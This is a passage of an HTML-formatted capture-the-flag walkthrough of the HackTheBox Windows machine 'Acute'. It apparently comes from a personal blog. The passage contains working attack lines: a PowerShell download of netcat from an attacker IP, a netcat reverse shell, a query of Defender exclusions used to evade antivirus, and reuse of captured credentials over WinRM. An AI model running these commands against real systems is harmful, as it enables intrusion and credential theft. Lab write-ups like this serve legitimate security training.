class="cl"&gt;Password1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the end, it said Lois was the administrator—the only administrator.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0765.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, I felt I still hadn&amp;rsquo;t gathered everything, so I went back through it line by line and translated and reviewed everything again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0766.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;PSWA? I searched for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0767.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out to be a web-based PowerShell interface for running commands. What this seemed to mean was that new users could execute commands in the browser through PSWA. I already had the default password; now I needed the login page and a username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0768.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were several hyperlinks here. I checked them one by one, and they all pointed to &lt;a class="link" href="https://atsserver.acute.local/" target="_blank" rel="noopener"&#10; &gt;https://atsserver.acute.local/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0769.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://atsserver.acute.local/Acute_Staff_Access&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0770.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the login page. I still needed a username.&lt;/p&gt;&#10;&lt;p&gt;The directory brute-force scan seemed to have already given me the answer, because this was the only accessible file on the site. I&amp;rsquo;d noticed the same thing while browsing manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0771.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0772.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had usernames.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Aileen Wallace&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Charlotte Hall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Evan Davies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ieuan Monks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;oshua Morgan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Lois Hopkins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Aileen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Wallace&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Charlotte&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Evan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Davies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ieuan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Monks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;oshua&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Morgan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Lois&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hopkins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FCastle&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0773.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The JavaScript was obfuscated. There weren&amp;rsquo;t many users anyway, so trying them manually was fine.&lt;/p&gt;&#10;&lt;p&gt;I tried every one of them, and none worked. The problem might have been here:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0774.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to the Word document to see whether it contained anything else, but it didn&amp;rsquo;t. There were a few scattered details, none of them important. I checked the website again and found nothing there either. Finally, I looked at the file metadata and found a hostname.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0775.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Acute-PC01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;edavies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I was in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0776.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no flag in the home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0777.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This wasn&amp;rsquo;t the domain controller. It was most likely a domain member, and WinRM was enabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0778.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current user had a home directory, but it wasn&amp;rsquo;t under the normal users. Strangely, I couldn&amp;rsquo;t find the current user in net user. Was the current user not a regular user?&lt;/p&gt;&#10;&lt;p&gt;There wasn&amp;rsquo;t much information, so I planned to upload winPEASany.exe and take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0779.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, I figured I&amp;rsquo;d pop a shell. Uploading it directly got it killed. Do these last few boxes actually expect AV evasion? I uploaded netcat and used it for a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/netcat.exe -OutFile .\netcat.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\netcat.exe 10.10.16.14 6666 -e cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0780.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got it.&lt;/p&gt;&#10;&lt;p&gt;I uploaded winPEAS.bat, but even the BAT version was killed. I had no idea how to proceed, so I checked the box description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0781.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no idea how I was supposed to discover JEA from anything other than the description, so I decided to read some write-ups and see how other people approached it.&lt;/p&gt;&#10;&lt;p&gt;They all mentioned a Utils directory containing a desktop.ini file.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://petri.com/microsoft-defender-exclusions-list-windows-10/" target="_blank" rel="noopener"&#10; &gt;https://petri.com/microsoft-defender-exclusions-list-windows-10/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog pointed out that attackers can read the Microsoft Defender exclusions list.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query &amp;#34;HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions&amp;#34; /s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0782.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;winPEASany also reported it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0783.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That made the logic click. The next time I run into antivirus, I can query the excluded directories this way.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0784.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You could actually see it here too: uploading winPEAS to this directory allowed it to be uploaded and executed. As usual, I focused on the red findings. I&amp;rsquo;ve written the information I collected below.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\edavies\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I worked through them one at a time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0785.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful. The write-up showed an entry under RDP Sessions, but mine didn&amp;rsquo;t have one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0786.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I also ran:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;qwinsta /server:127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;qwinsta session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0787.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Maybe I needed to restart, but that still didn&amp;rsquo;t work. OSCP allows Metasploit once, and every write-up used Metasploit for this step, which I never would have expected. The idea was this: Metasploit&amp;rsquo;s PowerShell session could see the RDP session above, and Metasploit can monitor the desktop. While monitoring it, you can see a script run and capture it. I never would have thought of that. No matter how I looked at it, it didn&amp;rsquo;t feel logical. When I get stuck, I often read one particular author&amp;rsquo;s write-ups, and he never uses Metasploit. I&amp;rsquo;d been reading his work for ages, and this was the first time I&amp;rsquo;d seen him use it. This was what he said:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0788.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And that&amp;rsquo;s true. For things like screenshots, Metasploit is incredibly convenient. This box was rated hard yet still held a 4.5 rating, and most people considered it medium-to-hard. There had to be a reason for that later on.&lt;/p&gt;&#10;&lt;p&gt;I generated a Metasploit payload and caught a shell. I uploaded winPEAS and scanned as usual. It looked like this had nothing to do with the Metasploit shell; the session simply wasn&amp;rsquo;t there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0789.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0790.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll leave this here for reference. Knowing the route and how to record it is enough. This was really the last resort. Time to start taking screenshots.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0791.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t have enough privileges to view the screen.&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t know what I&amp;rsquo;d done wrong. I thought it might be a permissions issue: perhaps the PSWA session had more privileges than the netcat reverse shell? That was the only difference between my setup and the write-ups. I restarted from that step. If that really was the issue, at least I&amp;rsquo;d have learned something new: if a command can be run through PSWA, don&amp;rsquo;t bounce it through netcat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0792.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still notfound.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0793.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0794.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0795.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As it turned out, starting PowerShell after getting a netcat CMD shell and then popping another shell was no different from using PSWA. Of course it wasn&amp;rsquo;t—I had only imagined there might be a difference.&lt;/p&gt;&#10;&lt;p&gt;The Metasploit payloads were all the same, because there was no reason they wouldn&amp;rsquo;t be. This had nothing to do with Metasploit. I couldn&amp;rsquo;t shake the feeling that something was wrong with the target. I&amp;rsquo;m skipping over a day here: I shut the box down completely because I had other things to do and didn&amp;rsquo;t continue. When I started it again the next day, everything was normal.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0796.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;How strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0797.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now there was a screen. During that day, I also learned that OSCP allows unlimited use of Metasploit for listeners and payload generation. The one-use limit applies only when using it to launch exploits.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sharp\imonks w3_4R3_th3_f0rce.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Judging from his command, he was connecting to ATSSERVER through the WinRM service.&lt;/p&gt;&#10;&lt;p&gt;I just needed to put his command together.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = ConvertTo-SecureString &amp;#34;W3_4R3_th3_f0rce.&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#34;ACUTE\imonks&amp;#34;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It threw an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0798.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were still other ways to work with WinRM, though. For example, the blog below covers most WinRM operations.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.west.cn/docs/133652.html" target="_blank" rel="noopener"&#10; &gt;https://www.west.cn/docs/133652.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { whoami } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could build the commands above to read the flag. I uploaded netcat.exe to get an interactive shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { C:\\utils\\netcat.exe 10.10.16.14 6666 -e cmd } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0799.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to work. The existing access was usable anyway, so I started digging through files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0800.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$securepasswd = &amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$passwd = $securepasswd | ConvertTo-SecureString&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = New-Object System.Management.Automation.PSCredential (&amp;#34;acute\jmorgan&amp;#34;, $passwd)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This file contained jmorgan&amp;rsquo;s password. As with the earlier box, it was a secure password. I&amp;rsquo;d encountered this on Omni, and some of the underlying mechanism came back to me: an encrypted string can only be decrypted under the user account that created it, and only on the computer where it was encrypted. I ran the command above as the current user and on my own Windows machine, then tried:&lt;/p&gt;&#10;&lt;div 